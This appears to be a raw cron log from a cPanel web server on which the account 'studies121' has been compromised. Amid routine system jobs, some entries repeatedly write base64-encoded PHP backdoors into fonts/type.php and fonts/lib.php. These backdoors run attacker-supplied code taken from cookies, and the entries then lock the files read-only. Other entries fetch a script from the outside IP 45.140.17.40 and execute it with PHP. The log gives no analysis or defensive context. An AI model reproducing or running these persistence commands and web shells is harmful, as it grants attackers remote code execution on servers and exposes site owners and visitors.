Sep 11 21:15:01 ip-184-168-122-23 CROND[5381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:16:01 ip-184-168-122-23 CROND[5478]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:16:01 ip-184-168-122-23 CROND[5479]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 21:16:01 ip-184-168-122-23 CROND[5482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:16:01 ip-184-168-122-23 CROND[5483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:16:01 ip-184-168-122-23 CROND[5484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:16:01 ip-184-168-122-23 CROND[5481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:17:01 ip-184-168-122-23 CROND[5649]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:17:01 ip-184-168-122-23 CROND[5652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:17:01 ip-184-168-122-23 CROND[5650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:17:01 ip-184-168-122-23 CROND[5651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:18:01 ip-184-168-122-23 CROND[5732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:18:01 ip-184-168-122-23 CROND[5734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:18:01 ip-184-168-122-23 CROND[5735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:18:01 ip-184-168-122-23 CROND[5738]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:18:01 ip-184-168-122-23 CROND[5737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:19:01 ip-184-168-122-23 CROND[5819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:19:01 ip-184-168-122-23 CROND[5820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:19:01 ip-184-168-122-23 CROND[5822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:19:01 ip-184-168-122-23 CROND[5821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:20:01 ip-184-168-122-23 CROND[5923]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:20:02 ip-184-168-122-23 CROND[5927]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 21:20:02 ip-184-168-122-23 CROND[5925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:20:02 ip-184-168-122-23 CROND[5931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:20:02 ip-184-168-122-23 CROND[5926]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 21:20:02 ip-184-168-122-23 CROND[5929]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 21:20:02 ip-184-168-122-23 CROND[5932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:20:02 ip-184-168-122-23 CROND[5928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:20:02 ip-184-168-122-23 CROND[5930]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 21:21:01 ip-184-168-122-23 CROND[6039]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:21:01 ip-184-168-122-23 CROND[6040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:21:01 ip-184-168-122-23 CROND[6042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:21:01 ip-184-168-122-23 CROND[6041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:22:01 ip-184-168-122-23 CROND[6218]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:22:01 ip-184-168-122-23 CROND[6220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:22:01 ip-184-168-122-23 CROND[6222]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:22:01 ip-184-168-122-23 CROND[6221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:22:01 ip-184-168-122-23 CROND[6223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:23:01 ip-184-168-122-23 CROND[6309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:23:01 ip-184-168-122-23 CROND[6312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:23:01 ip-184-168-122-23 CROND[6311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:23:01 ip-184-168-122-23 CROND[6313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:24:01 ip-184-168-122-23 CROND[6387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:24:01 ip-184-168-122-23 CROND[6390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:24:01 ip-184-168-122-23 CROND[6389]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:24:01 ip-184-168-122-23 CROND[6392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:24:01 ip-184-168-122-23 CROND[6393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:25:01 ip-184-168-122-23 CROND[6483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:25:01 ip-184-168-122-23 CROND[6484]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 21:25:01 ip-184-168-122-23 CROND[6485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:25:01 ip-184-168-122-23 CROND[6488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:25:01 ip-184-168-122-23 CROND[6490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:25:01 ip-184-168-122-23 CROND[6491]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 21:26:01 ip-184-168-122-23 CROND[6580]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:26:01 ip-184-168-122-23 CROND[6582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:26:01 ip-184-168-122-23 CROND[6581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:26:01 ip-184-168-122-23 CROND[6584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:26:01 ip-184-168-122-23 CROND[6583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:27:01 ip-184-168-122-23 CROND[6772]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:27:01 ip-184-168-122-23 CROND[6776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:27:01 ip-184-168-122-23 CROND[6774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:27:01 ip-184-168-122-23 CROND[6775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
